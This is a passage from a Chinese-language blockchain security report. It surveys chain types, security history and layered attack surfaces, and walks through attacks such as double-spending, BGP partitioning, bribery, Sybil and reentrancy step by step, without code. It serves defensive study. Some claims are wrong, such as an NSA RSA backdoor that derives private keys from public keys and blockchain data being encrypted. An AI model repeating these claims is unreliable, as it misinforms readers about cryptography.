聯盟區塊鏈是指:由某個群體內部指定多個預選的節點為記賬人,每個塊的生成由所有的預選節點共同決定,其他接入節點可以參與交易,但不過問記賬過程(本質上還是託管記賬,只是變成分佈式記賬,預選節點的多少,如何決定每個塊的記賬者成為該區塊鏈的主要風險點),其他任何人可以通過該區塊鏈開放的API進行限定查詢。

參與區塊鏈的節點是事先選擇好的,節點間很可能是有很好的網絡連接。這樣的區塊鏈上可以採用非工作量證明的其他共識算法,比如有100家金融機構之間建立了某個區塊鏈,規定必須67個以上的機構同意才算達成共識。

1.3.3 私有區塊鏈

私有區塊鏈是指存在一定的中心化控制的區塊鏈。僅僅使用區塊鏈的總賬技術進行記賬,可以是一個公司,也可以是個人,獨享該區塊鏈的寫入權限,本鏈與其他的分佈式存儲方案沒有太大區別。參與的節點只有用戶自己,數據的訪問和使用有嚴格的權限管理。聯盟鏈由於存在一定的中心化控制,所以也可以認為是屬於私有鏈範疇。

此三種定義的主要區別如下錶所示:

1.4 發展

早在1976年,Bailey W. Diffie、Martin E. Hellman兩位密碼學的大師發表了論文《密碼學的新方向》,論文覆蓋了未來幾十年密碼學所有的新的進展領域,包括非對稱加密、橢圓曲線算法、哈希等一些手段,奠定了迄今為止整個密碼學的發展方向,也對區塊鏈的技術和比特幣的誕生起到決定性作用。

在21世紀到來之際,區塊鏈相關的領域又有了幾次重大進展:首先是點對點分佈式網絡,1999到2001的三年時間內,Napster、EDonkey 2000和BitTorrent分別先後出現,奠定了P2P網絡計算的基礎。2001年另一件重要的事情,就是NSA發布了SHA-2系列算法。

2008年11月,“中本聰”發表論文《比特幣:一種點對點的电子現金系統》,提出了區塊鏈這種數據結構,區塊鏈技術迎來了爆髮式的增長和關注,技術迭代速度之快,超出任何人的想象,每隔一段時間就會有重量級事件發生,進一步助推了整個技術的發展。

二 區塊鏈安全性

2.1 背景

安全問題一直是信息化社會的主旋律,隨着區塊鏈技術的廣泛應用,隨之而來的問題也越來越多,由於區塊鏈去中心化,匿名性等一系列特點,目前在資本行業被大量使用,其中用於投資的情況也越來越多,正因為這一系列的特性與場景結合,隨之而來的各類攻擊也開始不斷出現,從之前的區塊鏈底層安全技術研究曝光,發展到後來越來越多的虛擬貨幣被盜,交易所被攻擊等事件。而這些只是目前被暴露的一部分,隨着區塊鏈技術所產生的價值越來越高,所面臨的攻擊將持續增加。

區塊鏈技術自身尚處於快速發展的初級階段,面臨的風險不僅來自外部實體的攻擊,也有可能來自內部參與者的攻擊,應對區塊鏈技術的安全特點和缺陷,需要圍繞物理、數據、應用系統、加密、風險控制等構建安全體系。與此同時,區塊鏈技術的普及應用對保障數據存儲,數據傳輸和數據應用等多個方面的安全和隱私保護提出了全新的要求。

隨着目前所發生的一系列交易平台監守自盜、交易所遭受黑客攻擊、用戶賬戶被盜等安全事件,我們不得不承認一個事實,區塊鏈的“安全神話”已然破滅。

由於區塊鏈目前異常活躍,不僅推動了虛擬貨幣的發展,而且還加強了現有的安全解決方案,對認證機制、數據保護和基礎設施的全局發展提出了全新的要求。因此,急需建立一種或多種協同安全解決方案來提升區塊鏈整體系統的安全性能。

2.2 底層原理

以鏈式結構保存基礎數據,多個節點參與系統運行,以一定的算法對基礎數據的操作達成一致性共識。

在“中本聰”的論文中,區塊鏈是由若干個時間順序、包含交易信息的區塊從後向前有序鏈接起來的數據結構,每一個區塊都包含了當前區塊構成時間內所有的信息,並由一個Hash值進行封裝和指向上一個區塊。數據結構可以被視為一個垂直的棧,可形象化地描述為每一個區塊就像一個箱子,每一個新的區塊都堆在上一個區塊之上,形成了一摞箱子,於是“高度”就可以表示區塊和首區塊的距離;“頂端”就是指最新的區塊;區塊頭就像是箱子的表面,封裝了內部的交易信息,並標明父系區塊鏈的位置。每一個區塊頭都可以找到其父系的區塊,並最終回溯到創世區塊上。

由於區塊頭要包含“父系區塊Hash”的字段,所以任何父系區塊的修改,都會引發子區塊的改變,而子區塊的改變將引起孫區塊的改變,這種變化會一直傳導到最新的區塊,並且這種改變是沒有規律的,服從“雪崩效應”,這就意味着任何人想要更改之前區塊的內容,將會耗費大量的算力來運算更長的鏈條,即實現“51%攻擊”。這對於修改者來說,成本過於高昂。此外,即使實現了“51%攻擊”,也只能抹除自己的交易信息,並不能修改整個程序和參數。

因此,區塊鏈具有如下安全特性:(1)寫入數據的安全性:對於寫入區塊鏈的數據而言,在共識機制的制約之下,當全網大部分的節點或者核心的節點認可這個記錄時,這個數據的

合法性和真實性才得以確保,記錄才允許被永久寫入區塊鏈中。(2)讀取數據的安全性:由於區塊鏈中的數據是加密存儲的,只有擁有用戶私鑰的節點才可以解密區塊中的核心數據,進而獲取區塊內容。此外,區塊鏈的共識機制是複雜的,能否確保大部分的用戶能夠看到一個相同的賬本。(3)分佈式拒絕服務(DDOS)攻擊抵抗:區塊鏈的去中心化架構相比於傳統的網絡架構,其節點分散、無固定中心且具備冗餘的特性,針對區塊鏈的DDOS攻擊將會更難展開。攻擊者對某個節點攻擊時,即便這個節點失效,也不會影響整個區塊鏈系統。

2.3 安全分析

目前區塊鏈面臨了諸多方面的安全挑戰,主要包含以下幾個方面:

(1)密碼算法安全性:目前區塊鏈基於的算法主要是公鑰算法和哈希算法,其安全性來源於數學難度,相對是安全的。但是隨着高性能計算和量子計算的發展和商業化,目前所有的加密算法均存在被破解的可能性,這也是區塊鏈面臨的一個威脅。

(2)協議安全性:區塊鏈中,如果一個節點能夠掌控全網51%的計算能力,就可以偽造或者篡改區塊鏈的數據。在目前典型的电子貨幣的應用場景中,這是得不償失。但是隨着區塊鏈應用範圍的擴寬,攻擊者為了達到某種目的,有可能實施這樣的攻擊。

(3)使用安全性:區塊鏈有着無法篡改,不可偽造,計算不可逆的特點,但是必須是在私鑰安全的前提之下。但是目前針對密鑰的攻擊層出不窮,一旦用戶使用不當,造成私鑰丟失,就會給區塊鏈系統帶來危險。

(4)系統安全性:在區塊鏈的編碼,以及運行的系統中,不可避免會存在很多的安全漏洞,針對這些漏洞展開的攻擊日益增多,這對區塊鏈的應用和推廣帶來極大的影響。

2.4 歷史安全事件

儘管區塊鏈在最底層原理方面保障了其可靠性,但目前區塊鏈安全機制並不十分健全,攻擊者主要選擇保護相對薄弱的數據層、網絡層、共識層、擴展層和業務層進行攻擊,每年因區塊鏈安全漏洞造成的損失高達數十億美元。

從分析結果來看,攻擊事件大致可分為四類安全事件:共識機制、智能合約、交易平台和用戶自身。

以下是2011年至2018年4月30日發生的各類安全事件所造成的損失:

及2011年至2018年發生的安全事件數量統計:

2011年至2018年發生的安全事件所造成的損失折線圖:

我們通過對歷史的安全事件影響分析得知,目前近80%的攻擊損失都是基於業務層面的攻擊所造成的,其損失額度從2017年開始呈現出指數上升的趨勢,截止到2018年第一季度,所暴露的安全事件就已經造成了8.1億美元的損失,按照歷史的攻擊趨勢,相信以後此類攻擊事件會越來越嚴重。

以下是2011年至2018年所發生安全事件的詳細說明。

2.3.1 區塊鏈自身安全事件

2.3.2 智能合約安全事件

2.3.3 交易平台安全事件

2.3.4 用戶自身安全事件

2.3.5 其他安全事件

三 區塊鏈攻擊對象分析

基於目前世界各國對加密貨幣的態度不盡一致,在區塊鏈貨幣領域黑客幾乎可以為所欲為,尚處於無法監管的狀態,所以思考已經發生或者可能發生的安全問題對於區塊鏈應用來說是必不可少的。

就目前區塊鏈的特徵,我們進行了如下分層:應用服務層、中間協議層和基礎網絡。並基於以下層面出發,針對每層中各個“攻擊面”去分析已發生或者可能發生的安全風險:

一般來說,區塊鏈系統由數據層、網絡層、共識層、激勵層、合約層和業務服務層組成。其中,數據層封裝了底層數據塊區以及相關的數據加密和時間戳等技術;網絡層則包括分佈式組網機制、數據傳播機制和數據驗證機制等;共識層主要封裝網絡節點和各類共識算法;激勵層將經濟因素集成到區塊鏈技術體系中來,主要包括經濟激勵的發行機制和分配機制等;合約層主要封裝各類腳本、算法和智能合約,是區塊鏈可編程特性的基礎;業務層則封裝了區塊鏈的各種應用場景和案例。

該模型中,基於時間戳的鏈式塊區結構、分佈式節點的共識機制、基於共識算力的經濟激勵和靈活可編程的智能合約是區塊鏈技術最具代表性的創新點。經過對區塊鏈技術的各個層面進行縱向剖析,並針對上述層次的不同“角色”進行安全性分析后,我們發現目前攻擊者通常從兩個點出發:

1. 區塊鏈中的中心化對象:交易平台、在線錢包等。

2. 區塊鏈中的去中心化對象:智能合約、共識機制等。

我們根據攻擊者主要採用的攻擊方式、對象和等級,總結如下錶所示:

3.1 數據層

3.1.1 區塊數據

簡要

基於區塊鏈技術本身的特性,區塊數據是分佈在多個節點上的鏈式結構數據,節點與節點之間的“互動”將記錄在區塊中,然後在各個節點之間同步完整的區塊數據,每個節點都有自己的一份區塊數據,單一或少部分的節點的區塊數據自行或被篡改,都無法影響整個區塊鏈的運行,依賴這種去中心化的架構,可以很容易做到數據防篡改。

風險

針對區塊數據的安全風險,我們分析總結了以下攻擊方式:

惡意信息攻擊

在區塊鏈中寫入惡意信息,例如病毒特徵碼、政治敏感話題等。藉助區塊鏈數據不可刪除的特性,信息被寫入區塊鏈后很難刪除。若區塊鏈中出現惡意信息,將會遭到殺毒軟件、政治敏感等多方面的問題。

資源濫用攻擊

隨着時間的推移,區塊數據可能會爆炸式增長(節點之間惡意頻繁交互),也可能會呈線性增長,這主要取決於此區塊鏈應用的設計,依賴現有的計算機存儲技術,區塊數據若發生爆炸式增長,可能導致節點無法容納又或者使區塊鏈運轉緩慢,從而使穩定運行的節點越來越少,節點越少,則越趨於中心化,引發區塊鏈危機。

不過目前主流的區塊鏈應用譬如BTC、ETH等,都完好的解決了此問題,比特幣的解決方法為固定區塊大小為1M,防止區塊過度膨脹,區塊鏈大小呈線性增長,即使到2029年區塊數據也只有1T左右,但是此解決方案並不優雅,限制區塊大小的同時也給比特幣帶來了交易時間長的詬病,目前比特幣的一筆交易需要確認數小時。

攻擊場景距離:若鏈中沒有設計相應的操作限制,攻擊者可以通過發送大量的垃圾信息來堵塞整個區塊鏈,使區塊鏈中真正的信息遲遲得不到處理,又或者使區塊鏈中的存儲節點超負荷運行。

案例

2017年2月份,以太坊的Ropsten測試鏈就遭到了一次惡意攻擊,攻擊者發動了千萬級別的垃圾交易信息,直接阻塞的網絡的正常運行。

此案例雖然發生在測試網絡上,並沒有使以太坊網絡受到實質性的影響,但也給我們敲響了警鐘,區塊鏈的應用目前還處於萌芽階段,主流的應用不存在此問題理所當然,但不代表新的區塊鏈應用不會存在這類問題,這都是區塊鏈開發者需要注意的。

2017年在EuskalHack安全會議上,有安全研究者提出了基於區塊鏈模式的botnet網絡,利用區塊鏈網絡進行C&C的惡意指令發布的並且提供了POC[17]。

3.1.2 簽名與加密方式

簡要

密碼學是保證區塊鏈的安全性和不可篡改性的關鍵,而且區塊鏈技術大量依賴了密碼學的研究成果,為區塊鏈的信息完整性、認證性和不可抵賴性提供了關鍵保障。

風險

加密技術作為一個區塊鏈整體的支柱,其安全性顯得尤為重要,例如前些年所流行的MD5和sha1摘要算法,目前已經證明安全性不足,現在已經不能被商用。

所以,公認的高強度加密算法在經過長時間的各方面實踐與論證后,已被大家所認可,但不代表其不存在漏洞,不可被破解。

如比特幣目前大量使用的是sha256算法,到目前為止,此算法還是安全的,雖然有人依然持有質疑,但是並沒有任何直接的公開證據表明此算法存在漏洞。

然而,比特幣所使用的算法也並不是毫無瑕疵,至少目前引發了以下問題:

1. sha256算法對應的ASIC礦機以及礦池的出現,打破了中本聰最初設計“一CPU一票”的理念,淘汰了普通GPU挖礦,全網的節點逐漸減少,逐漸趨於中心化。

2. 假名制,通過公共賬本你可以查看任意賬戶的所有交易信息,這顯然是和隱私保護背道而馳的,而且在日常的互聯網生活中很難不在互聯網中留下痕迹,例如:在論壇中發布交易信息,錢包地址就與論壇賬戶產生了對應關係。門羅幣在此方面則優於比特幣。

所以,在設計區塊鏈應用的時候,務必要對加密方式慎重選擇。對於目前主流的簽名方式[11]有如下:

針對加密方式的安全風險,我們分析總結了以下攻擊方式:

 窮舉攻擊

此類攻擊方式主要作用於散列函數中,且幾乎所有散列函數或多或少都受此攻擊方式影響,而且其影響程度與函數本身無關,而是與生成的hash長度有關,主要是一個概率論的問題,其中最典型的的方式是基於生日悖論的“生日攻擊”。

生日悖論:如果一個房間里有23個或23個以上的人,那麼至少有兩個人的生日相同的概率要大於50%。這就意味着在一個典型的標準小學班級(30人)中,存在兩人生日相同的可能性更高。對於60或者更多的人,這種概率要大於99%。

碰撞攻擊

此種攻擊方式主要作用於散列函數中,比較典型的案例是“md5摘要算法”和“sha1摘要算法”。

它的攻擊原理是通過尋找算法的弱點,瓦解它的強抗碰撞性這一特性,使得散列函數原本要在相當長一段時間才能尋找到兩個值不同hash相同的值的特性被弱化,攻擊者能在較短的時間能尋找到值不同但hash相同的兩個值。

長度擴展攻擊

此種攻擊方式主要作用於散列函數中,準確的說是基於Merkle–Damg?rd構造的摘要算法。其原理是通過算法弱點,在已知密文hash和密文長度的情況下,推導出密文與另一消息拼接後計算出來的hash。

後門攻擊

此種攻擊方式作用於所有開源加密算法庫中,RSA算法是區塊鏈中身份驗證的基石,RSA算法本身是沒問題的,但是在實際情況中,人們可能更多的是選擇別人已經寫好的“輪子”直接拿來用,而不是自己再去實現一套加密函數。

這就帶來了一個問題,在別人已經寫好的“輪子”中,可能被安插後門,比較典型的案例是:NSA在RSA算法中安插後門,使得攻擊者能直接通過公鑰算出私鑰。

量子攻擊[3]

此種攻擊方式作用於大部分密碼學算法。目前所有的加密算法以及摘要算法,其安全強度取決於它被窮舉的時間複雜度,這使得依賴現有的計算機的計算能力,針對比較強的加密算法要對它進行暴力破解是非常難的,但是量子計算機擁有傳統計算機無可比擬的算力,使得時間複雜度大大降低,於是,其安全強度便可能被瓦解,此問題是比特幣社區中一直在討論的問題。

案例

目前暫無實際攻擊曝光,但在某些層面可能存在致命安全隱患

3.2 網絡層

  3.2.1 P2P網絡

簡要

區塊鏈的信息傳播主要依賴於其點對點傳輸的特性,採用P2P[4]式的網絡架構,尋找適宜的節點進行信息傳播,當建立一個或多個連接后,節點將一條包含自身IP地址消息發送給其相鄰節點。相鄰節點再將此消息依次轉發給它們各自的相鄰節點,從而保證節點信息被多個節點所接收、保證連接更穩定。

風險

P2P網絡依賴附近的節點來進行信息傳輸必須要互相暴露對方的IP,若網絡中存在一個攻擊者,就很容易給其他節點帶來安全威脅,中心化的網絡不會太過擔心此問題的原因是組織的網絡中心的安全性都是極高的,即使暴露也不會有太大問題。

而去中心化的公鏈網絡節點可能是普通家庭PC,可能是雲服務器等等,其安全性必然是參差不齊的,其中必有安全性較差的節點,對其進行攻擊將直接威脅節點的安全。

針對P2P網絡的安全風險,我們分析總結了以下攻擊方式:

日食攻擊

日食攻擊[5]是其他節點實施的網絡層面攻擊,其攻擊手段是囤積和霸佔受害者的點對點連接間隙,將該節點保留在一個隔離的網絡中。這種類型的攻擊旨在阻止最新的區塊鏈信息進入到日食節點,從而隔離節點。

竊聽攻擊

攻擊者可以使用這種攻擊來讓區塊鏈中的用戶標識與ip關聯起來,在某些情況下甚至可以追溯到用戶的家庭地址。

以比特幣為例,當你在比特幣網絡上執行交易時,你的比特幣客戶端通常通過連接到一組八台服務器來加入網絡,這個初始連接集合就是你的入口節點,每個用戶都會獲得一組唯一的入口節點。

當你的錢包發送比特幣完成購買時,入口節點將交易轉交給比特幣網絡的其餘部分,研究人員發現,識別一組一口節點意味着識別一個特定的比特幣客戶端,以此來推導出某個用戶。

那麼,攻擊者要做的是與比特幣服務器建立多個連接,連接后,攻擊者必須聽取客戶端與服務端的初始連接,這會泄露客戶端的ip地址。

隨着交易流經網絡,它們將會與客戶端的入口節點相關聯,如果匹配,那麼攻擊者就知道這是來自一個特定客戶端的交易。

BGP劫持攻擊

邊界網關協議(BGP)是因特網的關鍵組成部分,用於確定路由路徑。BGP劫持,即利用BGP操縱因特網路由路徑,最近幾年中已經變得越來越頻繁。 無論是網絡犯罪分子還是政府,都可以利用這種技術來達到自己的目的,如誤導和攔截流量等,目前在區塊鏈網絡中節點的流量一但被接管又能對整個網絡造成巨大的影響,如破壞共識機制,交易等各種信息。而對於BGP劫持攻擊中,目前有安全研究者已經證明該攻擊的概念可行性,從2015年11月5日至2016年11月15日通過對節點網絡的分析統計目前大多數比特幣節點都託管在少數特定的幾個互聯網服務提供商(ISPs),而60%的比特幣連接都是在這幾個ISP。所以這幾個ISP可以看到60%的比特幣流量,所以也能夠做到對目前比特幣網絡的流量控制權,研究者通過劫持的場景驗證了至少如下兩個攻擊概念是可行的,同時給出了驗證的代碼[8]。

分割攻擊

攻擊者可以利用BGP劫持來講區塊鏈網絡劃分成兩個或多個不相交的網絡,此時的區塊鏈會分叉為兩條或多條并行鏈。攻擊停止后,區塊鏈會重新統一為一條鏈,以最長的鏈為主鏈,其他的鏈將被廢棄,其上的交易、獎勵等全部無效。

攻擊場景舉例:

1) 首先,攻擊者發動BGP劫持,將網絡分割為兩部分,一個大網絡、一個小網絡。

2) 在小網絡中,攻擊者發布交易賣出自己全部的加密貨幣,並兌換為法幣。

3) 經過小網絡的“全網確認”,這筆交易生效,攻擊者獲得等值的法幣。

4) 攻擊者釋放BGP劫持,大網絡與小網絡互通,小網絡上的一切交易被大網絡否定,攻擊者的加密貨幣全部回歸到賬戶,而交易得來的法幣,依然還在攻擊者手中,完成獲利。

 延遲攻擊

攻擊者可以利用BGP劫持來延遲目標的區塊更新,而且不被發現。因為它是基於中間人修改目標請求區塊的數據來做到的:在目標請求獲取最新區塊的時候,將它的這一請求修改為獲取舊區塊的請求,使得目標獲得較舊的塊。

攻擊場景舉例:

1) 攻擊者修改礦工獲取最新塊請求

2) 礦工無法獲取到新區塊

3) 礦工損失算力以及獎勵機會

節點客戶端漏洞

攻擊者在內網或者外網利用各種手段譬如漏洞掃描,0day漏洞利用等技術,對節點客戶端進行攻擊,此類攻擊主要針對客戶端自身軟件可能存在安全漏洞進行利用,獲取節點的控制權限。

拒絕服務攻擊

通過大流量,或者漏洞的方式攻擊P2P網絡中的節點,使網絡中部分節點網絡癱瘓,節點癱瘓意味着鏈中總算力受損,使得其更容易遭受51%攻擊,而目前進行拒絕服務攻擊成本也較低,大量的攻擊工具平台能輕易在黑市購買用於攻擊。

案例

2018年3月22日,閃電網絡[10]節點遭受DDOS攻擊,導致大約200個節點離線,從大約1,050個節點降到了870個。

3.2.2 廣播機制

簡要

在區塊鏈中,節點是與節點互相連接的。當某節點接入到區塊鏈網絡后,單個節點會與其他節點建立連接。此時該節點就具備了廣播信息的資格,在將信息傳播給其他節點后,其他節點會驗證此信息是否為有效的信息,確認無誤后再繼續向其他節點廣播。

風險

針對廣播機制的安全風險,我們分析總結了以下攻擊方式:

雙重支出攻擊

又稱雙花問題[9],指的是一個代幣花費在多筆交易中的攻擊,它的實現方法主要有以下幾種。

1. 種族攻擊:在面對0確認的交易便立刻進行付款的商家可能會遭遇此攻擊。欺詐者直接向商家發送支付給商家的交易,併發送衝突的交易,將代幣投入自己到網絡的其餘部分。第二個衝突的交易很可能會被開採出來,並被區塊鏈節點認為是真的,於是付款交易作廢。

2. 芬尼攻擊:當接受0確認的付款時可能會遭遇此攻擊。假設攻擊者偶爾產生數據塊。在他生成的每個區塊中,他包括從他控制的地址A到地址B的轉移。為了欺騙你,當他生成一個塊時,他不會廣播它。相反,他打開您的商店網頁,並使用地址A向您的地址C付款。您可能會花費幾秒鐘的時間尋找雙重花費,然後轉讓商品。接着他廣播他之前的區塊,他的交易將優先於你的交易,於是付款交易作廢。

3. Vector76攻擊:也被稱為單一確認攻擊,是種族攻擊和芬尼攻擊的組合,因此即使有一次確認的交易仍然可以逆轉。對於種族攻擊,相同的保護措施顯然降低了發生這種情況的風險。 值得注意的是,成功的攻擊會使攻擊者花費一個塊,他們需要通過不傳播它來“犧牲”一個塊,而是僅將其轉讓給被攻擊的節點。

4. 替代歷史攻擊:即使商家等待一些確認,這種攻擊也有機會成功,但風險較高。攻擊者向商家提交支付的交易,同時私下挖掘其中包含欺詐性雙重支出交易的分支。等待n次確認后,商家發送產品。如果攻擊者此時碰巧找到n個以上的區塊,他就會釋放他的分支並重新獲得他的硬幣。

5. 51%攻擊:如果攻擊者控制全網算力的一半以上,則前面提到的替代歷史攻擊有100%的概率成功。由於攻擊者可以比網絡的其他部分更快地生成塊,所以他可以堅持自己的私有分支,直到它比誠實節點網絡建立的分支更長,它將代替主鏈。

交易延展性攻擊

延展性攻擊者偵聽P2P網絡中的交易,利用交易簽名算法的特徵修改原交易中的input 簽名, 生成擁有一樣input和output的新交易,然後廣播到網絡中形成雙花,這樣原來的交易就可能有一定的概率不能被確認,在虛擬貨幣交易的情況下,它可以被用來進行二次存款或雙重提現。

案例

1. 2014年8月,在線黑市Silk Road 2遭遇交易延展性攻擊,部分比特幣被盜,損失約260萬美元

2. 2013年11月,GHash.io礦池對賭博網站BetCoin Dice進行多次付款欺詐,實施雙重支出攻擊

3.2.3 驗證機制

簡要

區塊鏈的運行為了維持其數據的有效性與真實性,必須要有相應的驗證機制來限制節點必須將真實信息寫入區塊中。

風險

針對驗證機制的安全風險,我們分析總結了以下攻擊方式:

驗證繞過

驗證機制的代碼是區塊鏈應用的核心之一,一旦出現問題將直接導致區塊鏈的數據混亂,而且核心代碼的修改與升級都涉及到區塊鏈分叉的問題,所以驗證機制的嚴謹性就顯得尤為重要。

必須要結合驗證機制代碼的語言特性來進行大量的白盒審計或是模糊測試,來保證驗證機制的不可繞過。

案例

比特幣無限造幣漏洞:2010年8月15日,有人在比特幣區塊鏈的第74638塊上發現了一條讓人驚愕的交易,這筆交易里竟然出現了184,467,440,737.09551616個比特幣,其中各有922億個比特幣被發送到兩個比特幣地址。

這次攻擊的根本原因則是比特幣的驗證機制中存在大整數溢出漏洞,由於大整數溢出為負數,網絡各個節點對黑客的交易均驗證通過,導致了比特幣區塊鏈中憑空出現了大量比特幣。

 3.3 激勵層

  3.3.1 獎勵機制

簡要

激勵層目的是提供一定的激勵措施鼓勵節點參與區塊鏈的安全驗證工作。區塊鏈的安全性依賴於眾多節點的參與。例如比特幣區塊鏈的安全性是基於眾多節點參與工作量證明帶來的巨大的計算量,使得攻擊者無法提供更高的計算量。節點的驗證過程通常需要耗費的計算資源和電能。為了鼓勵節點參與,區塊鏈通常會採用虛擬貨幣的形式獎勵參與者,目前比特幣、萊特幣、以太幣都是這種機制的產物。以比特幣為例,獎勵機制包括了兩種,第一種是新區快產生后系統生成的比特幣,第二種是每筆交易會扣除萬分之一比特幣作為手續費。在前期,每一個區塊的創建者都會獲得一定數量的比特幣,創世區塊提供50個比特幣,之後隨着系統中比特幣數量的持續增加,這種模式提供的比特幣數量會持續減半。當比特幣總量達到2100萬時,新產生的區塊將不再生成比特幣。這時主要依靠第二種手續費作為獎勵機制。

風險

獎勵不符合市場預期

區塊鏈項目需要順應市場自動適當調整獎勵,而不是一味降低。若在區塊鏈項目獎勵機制中,當節點們的工作成本小於和接近於收益的時候,他們往往會選擇不再為這個區塊鏈工作,從而很容易導致中心化問題。

攻擊場景:

1. 比特幣區塊鏈上的被全部開採完畢

2. 礦工獎勵驟降,大量礦工下鏈

3. 攻擊者以較低成本發動51%攻擊

案例

目前暫無實際攻擊曝光,但在某些層面可能存在致命安全隱患

3.4 共識層

  3.4.1 共識機制

簡要

共識機制賦予了區塊鏈技術靈魂,使它與其他的P2P技術差異化。

目前常用的共識機制有PoW(工作量證明機制)、PoS(權益證明機制)、DPoS(股份授權證明機制),然而他們都不是完美的,都有各自的優點與缺點。對於各種共識機制的對比[11]我們列出如下列表進行說明:

風險

針對共識機制的安全風險,我們分析總結了以下攻擊方式以及適用範圍:

短距離攻擊

此類攻擊比較典型的是“賄賂攻擊”,此攻擊主要影響PoS共識機制,賄賂攻擊流程如下:

1) 攻擊者購買某個商品或服務。

2) 商戶開始等待網絡確認這筆交易。

3) 此時,攻擊者開始在網絡中首次宣稱,對目前相對最長的不包含這次交易的主鏈進行獎勵。

4) 當主鏈足夠長時,攻擊者開始放出更大的獎勵,獎勵那些在包含此次交易的鏈條中挖礦的礦工。

5) 六次確認達成后,放棄獎勵。

6) 貨物到手,同時放棄攻擊者選中的鏈條。

因此,只要此次賄賂攻擊的成本小於貨物或者服務費用,此次攻擊就是成功的。相比之下,PoW 機制中賄賂攻擊就需要賄賂大多數礦工,因此成本極高,難以實現。

 長距離攻擊

此類攻擊比較典型的是“51%”攻擊。在PoS 中,產生每個 Block 的速度相對 PoW 快了很多。因此,少數不懷好意的節點會想着把整個區塊鏈共識賬本全部重寫。這在 PoW 中是經典的 51% 問題,即:當某一個節點控制了 51% 及以上算力,就有能力篡改賬本,但達到 51% 算力是件極其困難的事情。而在 PoS 中缺乏對算力的約束,那麼就存在潛在可能篡改賬本。

幣齡累計攻擊

在最早的 Peercoin 版本中,挖礦難度不僅與當前賬戶餘額有關,也與每個幣的持幣時間掛鈎。這就導致,部分節點在等待足夠長時間后,就有能力利用 Age 的增加來控制整個網絡,產生非常顯著的影響。

預計算攻擊

當 PoS 中的某一節點佔有了一定量的算力后,PoS 中佔有特定算力的節點,就有能力通過控制 Hprev 來使自己所在算力範圍有能力去計算 Hnext。

女巫攻擊

又稱Sybil攻擊,在Sybil攻擊中,攻擊者通過創建大量的假名標識來破壞對等網絡的信譽系統,使用它們獲得不成比例的大的影響。對等網絡上的實體是能夠訪問本地資源的一塊軟件。實體通過呈現身份在網絡上通告自身。 多於一個標識可以對應於單個實體。

換句話說,身份到實體的映射是多對一的。對等網絡中的實體為了冗餘,資源共享,可靠性和完整性而使用多個標識。

在對等網絡中,身份用作抽象,使得遠程實體可以知道身份而不必知道身份與本地實體的對應關係。

默認情況下,通常假定每個不同的標識對應於不同的本地實體。實際上,許多身份可以對應於相同的本地實體。

對手可以向對等網絡呈現多個身份,以便出現並充當多個不同的節點。因此,對手可能能夠獲得對網絡的不成比例的控制水平,例如通過影響投票結果。

案例

1. 2016年8月份,基於以太坊的数字貨幣Krypton遭受來自一個名為“51% Crew”的組織通過租用Nicehash的算力,進行51%攻擊,導致該區塊鏈損失約21,465 KR的代幣。

3.5 合約層

  3.5.1 合約虛擬機

簡要

隨着區塊鏈技術的不斷升級,區塊鏈已經具備在鏈上繁衍出多種應用的功能,而實現這種功能的基礎就是合約虛擬機(用於運行各種智能合約的平台),此技術的出現極大的提高了區塊鏈的可擴展性,是區塊鏈2.0的重要標誌。

合約虛擬機的出現為合約代碼提供了沙盒式的執行環境。

風險

合約虛擬機運行在區塊鏈的各個節點上,接受並部署來自節點的智能合約代碼,若虛擬機存在漏洞或相關限制機制不完善,很可能運行來自攻擊者的惡意的智能合約。

針對合約虛擬機的安全風險,我們分析總結了以下攻擊方式:

逃逸漏洞

虛擬機在運行字節碼的時候會提供一個沙盒環境,一般用戶只能在沙盒的限制中執行相應的代碼,此類型漏洞會使得攻擊者退出沙盒環境,執行其他本不能執行的代碼。

邏輯漏洞

虛擬機在發現數據或代碼不符合規範時,可能會對數據做一些“容錯處理”,這就導致可能會出現一些邏輯問題,最典型的是“以太坊短地址攻擊”。

堆棧溢出漏洞

攻擊者可通過編寫惡意代碼讓虛擬機去解析執行,最終導致棧的深度超過虛擬機允許的最大深度,或不斷佔用系統內存導致內存溢出。

此種攻擊可引發多種威脅,最嚴重的是造成命令執行漏洞。

資源濫用漏洞

攻擊者可以在虛擬機上部署一份惡意代碼,消耗系統的網絡資源、存儲資源、計算資源、內存資源。

所以在虛擬機中必須要有相應的限制機制來防止系統的資源被濫用。

在以太坊中採用的是gas機制,攻擊者想要在以太坊虛擬機上做更多操作,需要付出經濟代價。

案例

以太坊短地址漏洞:由於EVM並沒有嚴格校驗地址的位數,並且還擅自自動補充消失的位數,使得合約多發送很多代幣出來。

3.5.2 智能合約

簡要

智能合約是一種旨在以信息化方式傳播、驗證或執行合同的計算機協議。智能合約允許在沒有第三方的情況下進行可信交易。這些交易可追蹤且不可逆轉。

風險

智能合約本質上是一份代碼程序,難免會有因為考慮不周的導致出現漏洞的情況,所以在發布一份智能合約之前,進行大量的模糊測試與白盒審計是必不可少的。

在將大量資金放入合約之前,合約應當進行大量的長時間的測試。

至少應該:

● 擁有100%測試覆蓋率的完整測試套件(或接近它)

● 在自己的testnet上部署

● 在公共測試網上部署大量測試和錯誤獎勵

● 徹底的測試應該允許各種玩家與合約進行大規模互動

● 在主網上部署beta版以限制風險總額

針對智能合約的安全風險,我們分析總結了以下攻擊方式:

可重入攻擊

當智能合約A調用智能合約B時,智能合約B可以在被調用的函數中寫入“使智能合約A調用智能合約B”的代碼,這樣就造成了可重入攻擊。

比較典型的一個案例:

1. 智能合約A向智能合約B發起提現請求

2. 智能合約B向智能合約A轉賬,並調用智能合約A的回調函數

3. 智能合約A的回調函數中被寫入的操作是“智能合約A向智能合約B發起提現請求”。

4. 又回到了步驟1,一直循環步驟1234直到不滿足循環條件。

5. 提現結束

調用深度攻擊

在合約虛擬機中,會對智能合約的互相調用的深度定一個閾值,超過這個深度調用就會失敗,例如在以太坊EVM中,調用深度被限製為1024。

調用深度攻擊可以讓合約調用失敗,即使這個調用在邏輯上不存在任何問題,但是在虛擬機層面以及不被允許了,因為調用深度達到了虛擬機中的閾值,超過閾值不再往下執行。

攻擊者可以通過控制調用深度,來使某些關鍵操作無法執行,例如:轉賬、餘額清零等。

交易順序依賴攻擊

智能合約的執行會隨着當前交易處理順序的不同而產生不同的結果。

場景:攻擊者發布一個解題合約,在合約中寫給出豐厚的解題獎勵。等有人提交了正確答案后,此時的答案還需要經過其他節點的確認,合約才會執行獎勵操作。此時攻擊者可以提交一個將獎勵額度調低的交易,這筆交易肯定是在獎勵操作的後面,理論上不會造成給答題人帶來損失。

